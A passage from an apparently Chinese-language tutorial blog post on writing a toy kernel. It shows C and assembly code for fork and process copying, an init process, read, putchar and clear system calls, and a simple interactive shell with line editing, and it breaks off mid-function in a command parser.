class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 为子进程构建thread_stack和修改返回值 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> int32_t <span class="title">build_child_stack</span><span class="params">(struct task_struct* child_thread)</span> </span>&#123;</span><br><span class="line"><span class="comment">/* a 使子进程pid返回值为0 */</span></span><br><span class="line">   <span class="comment">/* 获取子进程0级栈栈顶 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">intr_stack</span>* <span class="title">intr_0_stack</span> = (<span class="title">struct</span> <span class="title">intr_stack</span>*)((<span class="title">uint32_t</span>)<span class="title">child_thread</span> + <span class="title">PG_SIZE</span> - <span class="title">sizeof</span>(<span class="title">struct</span> <span class="title">intr_stack</span>));</span></span><br><span class="line">   <span class="comment">/* 修改子进程的返回值为0 */</span></span><br><span class="line">   intr_0_stack-&gt;eax = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* b 为switch_to 构建 struct thread_stack,将其构建在紧临intr_stack之下的空间*/</span></span><br><span class="line">   <span class="keyword">uint32_t</span>* ret_addr_in_thread_stack  = (<span class="keyword">uint32_t</span>*)intr_0_stack - <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/***   这三行不是必要的,只是为了梳理thread_stack中的关系 ***/</span></span><br><span class="line">   <span class="keyword">uint32_t</span>* esi_ptr_in_thread_stack = (<span class="keyword">uint32_t</span>*)intr_0_stack - <span class="number">2</span>; </span><br><span class="line">   <span class="keyword">uint32_t</span>* edi_ptr_in_thread_stack = (<span class="keyword">uint32_t</span>*)intr_0_stack - <span class="number">3</span>; </span><br><span class="line">   <span class="keyword">uint32_t</span>* ebx_ptr_in_thread_stack = (<span class="keyword">uint32_t</span>*)intr_0_stack - <span class="number">4</span>; </span><br><span class="line">   <span class="comment">/**********************************************************/</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* ebp在thread_stack中的地址便是当时的esp(0级栈的栈顶),</span></span><br><span class="line"><span class="comment">   即esp为"(uint32_t*)intr_0_stack - 5" */</span></span><br><span class="line">   <span class="keyword">uint32_t</span>* ebp_ptr_in_thread_stack = (<span class="keyword">uint32_t</span>*)intr_0_stack - <span class="number">5</span>; </span><br><span class="line"></span><br><span class="line">   <span class="comment">/* switch_to的返回地址更新为intr_exit,直接从中断返回 */</span></span><br><span class="line">   *ret_addr_in_thread_stack = (<span class="keyword">uint32_t</span>)intr_exit;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 下面这两行赋值只是为了使构建的thread_stack更加清晰,其实也不需要,</span></span><br><span class="line"><span class="comment">    * 因为在进入intr_exit后一系列的pop会把寄存器中的数据覆盖 */</span></span><br><span class="line">   *ebp_ptr_in_thread_stack = *ebx_ptr_in_thread_stack =\</span><br><span class="line">   *edi_ptr_in_thread_stack = *esi_ptr_in_thread_stack = <span class="number">0</span>;</span><br><span class="line">   <span class="comment">/*********************************************************/</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 把构建的thread_stack的栈顶做为switch_to恢复数据时的栈顶 */</span></span><br><span class="line">   child_thread-&gt;self_kstack = ebp_ptr_in_thread_stack;    </span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 更新inode打开数 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">update_inode_open_cnts</span><span class="params">(struct task_struct* thread)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">int32_t</span> local_fd = <span class="number">3</span>, global_fd = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (local_fd &lt; MAX_FILES_OPEN_PER_PROC) &#123;</span><br><span class="line">      global_fd = thread-&gt;fd_table[local_fd];</span><br><span class="line">      ASSERT(global_fd &lt; MAX_FILE_OPEN);</span><br><span class="line">      <span class="keyword">if</span> (global_fd != <span class="number">-1</span>) &#123;</span><br><span class="line"> file_table[global_fd].fd_inode-&gt;i_open_cnts++;</span><br><span class="line">      &#125;</span><br><span class="line">      local_fd++;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 拷贝父进程本身所占资源给子进程 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> int32_t <span class="title">copy_process</span><span class="params">(struct task_struct* child_thread, struct task_struct* parent_thread)</span> </span>&#123;</span><br><span class="line">   <span class="comment">/* 内核缓冲区,作为父进程用户空间的数据复制到子进程用户空间的中转 */</span></span><br><span class="line">   <span class="keyword">void</span>* buf_page = get_kernel_pages(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">if</span> (buf_page == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* a 复制父进程的pcb、虚拟地址位图、内核栈到子进程 */</span></span><br><span class="line">   <span class="keyword">if</span> (copy_pcb_vaddrbitmap_stack0(child_thread, parent_thread) == <span class="number">-1</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* b 为子进程创建页表,此页表仅包括内核空间 */</span></span><br><span class="line">   child_thread-&gt;pgdir = create_page_dir();</span><br><span class="line">   <span class="keyword">if</span>(child_thread-&gt;pgdir == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* c 复制父进程进程体及用户栈给子进程 */</span></span><br><span class="line">   copy_body_stack3(child_thread, parent_thread, buf_page);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* d 构建子进程thread_stack和修改返回值pid */</span></span><br><span class="line">   build_child_stack(child_thread);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* e 更新文件inode的打开数 */</span></span><br><span class="line">   update_inode_open_cnts(child_thread);</span><br><span class="line"></span><br><span class="line">   mfree_page(PF_KERNEL, buf_page, <span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面我们添加fork系统调用和init进程初始化，init是用户级进程，是第一个启用的程序，其pid为1，也就是所有进程的父进程。fork系统调用的实现步骤如下</p><ul><li>在syscall.h中添加系统调用号SYS_FORK</li><li>在syscall.c中添加fork()，原型是<code>pid_t fork(void)</code></li><li>在syscall-init.c中的函数syscall_init中添加初始化</li></ul><p>下面是main.c中添加init进程代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* init进程 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">init</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> ret_pid = fork();</span><br><span class="line">   <span class="keyword">if</span>(ret_pid) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"i am father, my pid is %d, child pid is %d\n"</span>, getpid(), ret_pid);</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"i am child, my pid is %d, ret pid is %d\n"</span>, getpid(), ret_pid);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>为了争夺pid为1的进程，我们需要修改thread.c中的代码，在创建主线程之前就创建init进程</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 初始化线程环境 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">thread_init</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"thread_init start\n"</span>);</span><br><span class="line"></span><br><span class="line">   list_init(&amp;thread_ready_list);</span><br><span class="line">   list_init(&amp;thread_all_list);</span><br><span class="line">   lock_init(&amp;pid_lock);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 先创建第一个用户进程:init */</span></span><br><span class="line">   process_execute(init, <span class="string">"init"</span>);         <span class="comment">// 放在第一个初始化,这是第一个进程,init进程的pid为1</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将当前main函数创建为线程 */</span></span><br><span class="line">   make_main_thread();</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 创建idle线程 */</span></span><br><span class="line">   idle_thread = thread_start(<span class="string">"idle"</span>, <span class="number">10</span>, idle, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">   put_str(<span class="string">"thread_init done\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译测试效果如下</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/108.png" alt></p><h2 id="添加read、putchar、clear系统调用"><a href="#添加read、putchar、clear系统调用" class="headerlink" title="添加read、putchar、clear系统调用"></a>添加read、putchar、clear系统调用</h2><p>下面添加一些其他系统调用，因为在后面shell交互的时候我们需要知道用户的输入，所以我们首先添加read系统调用，我们先修改sys_read让其支持键盘，后面几步就是添加read原型<code>ssize_t read(int fd, void *buf, size_t count)</code>，添加系统调用</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 从文件描述符fd指向的文件中读取count个字节到buf,若成功则返回读出的字节数,到文件尾则返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_read(<span class="keyword">int32_t</span> fd, <span class="keyword">void</span>* buf, <span class="keyword">uint32_t</span> count) &#123;</span><br><span class="line">   ASSERT(buf != <span class="literal">NULL</span>);</span><br><span class="line">   <span class="keyword">int32_t</span> ret = <span class="number">-1</span>;</span><br><span class="line">   <span class="keyword">if</span> (fd &lt; <span class="number">0</span> || fd == stdout_no || fd == stderr_no) &#123;</span><br><span class="line">      printk(<span class="string">"sys_read: fd error\n"</span>);</span><br><span class="line">   &#125; <span class="keyword">else</span> <span class="keyword">if</span> (fd == stdin_no) &#123; <span class="comment">// 标准输入stdin_no的处理</span></span><br><span class="line">      <span class="keyword">char</span>* buffer = buf;</span><br><span class="line">      <span class="keyword">uint32_t</span> bytes_read = <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">while</span> (bytes_read &lt; count) &#123;</span><br><span class="line"> *buffer = ioq_getchar(&amp;kbd_buf); <span class="comment">// 每次从键盘缓冲区kdb_buf中获取1个字符，直到count个字符为止</span></span><br><span class="line"> bytes_read++;</span><br><span class="line"> buffer++;</span><br><span class="line">      &#125;</span><br><span class="line">      ret = (bytes_read == <span class="number">0</span> ? <span class="number">-1</span> : (<span class="keyword">int32_t</span>)bytes_read);</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="keyword">uint32_t</span> _fd = fd_local2global(fd);</span><br><span class="line">      ret = file_read(&amp;file_table[_fd], buf, count);   </span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面是putchar和clear的函数，其中putchar原型是<code>int putchar(int c)</code>，我们可以直接用现有的console_put_char函数。对于clear操作，涉及到清屏，就需要用汇编实现，具体内容在print.S中，如下所示</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">global cls_screen</span><br><span class="line">cls_screen:</span><br><span class="line">   pushad</span><br><span class="line">   ;;;;;;;;;;;;;;;</span><br><span class="line">; 由于用户程序的cpl为3,显存段的dpl为0,故用于显存段的选择子gs在低于自己特权的环境中为0,</span><br><span class="line">; 导致用户程序再次进入中断后,gs为0,故直接在put_str中每次都为gs赋值. </span><br><span class="line">   mov ax, SELECTOR_VIDEO       ; 不能直接把立即数送入gs,须由ax中转</span><br><span class="line">   mov gs, ax</span><br><span class="line"></span><br><span class="line">   mov ebx, 0</span><br><span class="line">   mov ecx, 80*25</span><br><span class="line"> .cls:</span><br><span class="line">   mov word [gs:ebx], 0x0720  ;0x0720是黑底白字的空格键</span><br><span class="line">   add ebx, 2</span><br><span class="line">   loop .cls </span><br><span class="line">   mov ebx, 0</span><br><span class="line"></span><br><span class="line"> .set_cursor:  ;直接把set_cursor搬过来用,省事</span><br><span class="line">;;;;;;; 1 先设置高8位 ;;;;;;;;</span><br><span class="line">   mov dx, 0x03d4  ;索引寄存器</span><br><span class="line">   mov al, 0x0e  ;用于提供光标位置的高8位</span><br><span class="line">   out dx, al</span><br><span class="line">   mov dx, 0x03d5  ;通过读写数据端口0x3d5来获得或设置光标位置 </span><br><span class="line">   mov al, bh</span><br><span class="line">   out dx, al</span><br><span class="line"></span><br><span class="line">;;;;;;; 2 再设置低8位 ;;;;;;;;;</span><br><span class="line">   mov dx, 0x03d4</span><br><span class="line">   mov al, 0x0f</span><br><span class="line">   out dx, al</span><br><span class="line">   mov dx, 0x03d5 </span><br><span class="line">   mov al, bl</span><br><span class="line">   out dx, al</span><br><span class="line">   popad</span><br><span class="line">   ret</span><br></pre></td></tr></table></figure><p>下面是系统调用的添加，后面的一些操作和上面类似，就不具体列出了</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 输出一个字符 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">putchar</span><span class="params">(<span class="keyword">char</span> char_asci)</span> </span>&#123;</span><br><span class="line">   _syscall1(SYS_PUTCHAR, char_asci);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 清空屏幕 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">clear</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   _syscall0(SYS_CLEAR);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="shell的实现"><a href="#shell的实现" class="headerlink" title="shell的实现"></a>shell的实现</h2><p>接下来我们需要实现shell，支持一些简单的命令，和之前的代码联系起来，我们的shell实现新建一个shell目录，用shell.c和.h进行具体实现，其中比较关键的函数是readline，主要通过循环一个字符一个字符读取到pos中，然后进行判断处理</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> cmd_len 128   <span class="comment">// 最大支持键入128个字符的命令行输入</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MAX_ARG_NR 16   <span class="comment">// 加上命令名外,最多支持15个参数</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 存储输入的命令 */</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">char</span> cmd_line[cmd_len] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 用来记录当前目录,是当前目录的缓存,每次执行cd命令时会更新此内容 */</span></span><br><span class="line"><span class="keyword">char</span> cwd_cache[<span class="number">64</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 输出提示符 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">print_prompt</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"[rabbit@localhost %s]$ "</span>, cwd_cache);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 从键盘缓冲区中最多读入count个字节到buf。*/</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">readline</span><span class="params">(<span class="keyword">char</span>* buf, <span class="keyword">int32_t</span> count)</span> </span>&#123;</span><br><span class="line">   assert(buf != <span class="literal">NULL</span> &amp;&amp; count &gt; <span class="number">0</span>);</span><br><span class="line">   <span class="keyword">char</span>* pos = buf;</span><br><span class="line">   <span class="keyword">while</span> (read(stdin_no, pos, <span class="number">1</span>) != <span class="number">-1</span> &amp;&amp; (pos - buf) &lt; count) &#123; <span class="comment">// 在不出错情况下,直到找到回车符才返回</span></span><br><span class="line">      <span class="keyword">switch</span> (*pos) &#123;</span><br><span class="line">       <span class="comment">/* 找到回车或换行符后认为键入的命令结束,直接返回 */</span></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'\n'</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'\r'</span>:</span><br><span class="line">    *pos = <span class="number">0</span>;   <span class="comment">// 添加cmd_line的终止字符0</span></span><br><span class="line">    <span class="built_in">putchar</span>(<span class="string">'\n'</span>);</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'\b'</span>:</span><br><span class="line">    <span class="keyword">if</span> (buf[<span class="number">0</span>] != <span class="string">'\b'</span>) &#123;<span class="comment">// 阻止删除非本次输入的信息</span></span><br><span class="line">       --pos;   <span class="comment">// 退回到缓冲区cmd_line中上一个字符</span></span><br><span class="line">       <span class="built_in">putchar</span>(<span class="string">'\b'</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 非控制键则输出字符 */</span></span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line">    <span class="built_in">putchar</span>(*pos);</span><br><span class="line">    pos++;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"readline: can`t find enter_key in the cmd_line, max num of char is 128\n"</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 简单的shell */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">my_shell</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   cwd_cache[<span class="number">0</span>] = <span class="string">'/'</span>;</span><br><span class="line">   <span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">      print_prompt(); </span><br><span class="line">      <span class="built_in">memset</span>(cmd_line, <span class="number">0</span>, cmd_len);</span><br><span class="line">      readline(cmd_line, cmd_len);</span><br><span class="line">      <span class="keyword">if</span> (cmd_line[<span class="number">0</span>] == <span class="number">0</span>) &#123; <span class="comment">// 若只键入了一个回车</span></span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   panic(<span class="string">"my_shell: should not be here"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面在main中测试一下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line">   cls_screen();</span><br><span class="line">   console_put_str(<span class="string">"[rabbit@localhost /]$ "</span>);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>结果如下，实现了一个简单的终端，还没有实现交互</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/109.png" alt></p><h3 id="添加ctrl-u和ctrl-l"><a href="#添加ctrl-u和ctrl-l" class="headerlink" title="添加ctrl+u和ctrl+l"></a>添加ctrl+u和ctrl+l</h3><p>Linux中ctrl+u作用是清除本次输入，相当于连续退格。ctrl+l相当于clear命令清屏，不过不会清除当前终端正在输入的内容。我们在shell中继续添加代码，其中ctrl+l分四步完成</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 从键盘缓冲区中最多读入count个字节到buf。*/</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">readline</span><span class="params">(<span class="keyword">char</span>* buf, <span class="keyword">int32_t</span> count)</span> </span>&#123;</span><br><span class="line">[...]</span><br><span class="line">     <span class="comment">/* ctrl+l 清屏 */</span></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'l'</span> - <span class="string">'a'</span>: </span><br><span class="line">    <span class="comment">/* 1 先将当前的字符'l'-'a'置为0 */</span></span><br><span class="line">    *pos = <span class="number">0</span>;</span><br><span class="line">    <span class="comment">/* 2 再将屏幕清空 */</span></span><br><span class="line">    clear();</span><br><span class="line">    <span class="comment">/* 3 打印提示符 */</span></span><br><span class="line">    print_prompt();</span><br><span class="line">    <span class="comment">/* 4 将之前键入的内容再次打印 */</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"%s"</span>, buf);</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* ctrl+u 清掉输入 */</span></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'u'</span> - <span class="string">'a'</span>:</span><br><span class="line">    <span class="keyword">while</span> (buf != pos) &#123; <span class="comment">// 循环连续输入退格符</span></span><br><span class="line">       <span class="built_in">putchar</span>(<span class="string">'\b'</span>);</span><br><span class="line">       *(pos--) = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 非控制键则输出字符 */</span></span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line">    <span class="built_in">putchar</span>(*pos);</span><br><span class="line">    pos++;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"readline: can`t find enter_key in the cmd_line, max num of char is 128\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="解析键入字符"><a href="#解析键入字符" class="headerlink" title="解析键入字符"></a>解析键入字符</h3><p>接下来我们需要读入shell中输入的字符，实现交互cmd_parse将解析出来的命令指针存如argv数组，然后通过循环进行下一步处理</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 分析字符串cmd_str中以token为分隔符的单词,将各单词的指针存入argv数组 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> int32_t <span class="title">cmd_parse</span><span class="params">(<span class="keyword">char</span>* cmd_str, <span class="keyword">char</span>** argv, <span class="keyword">char</span> token)</span> 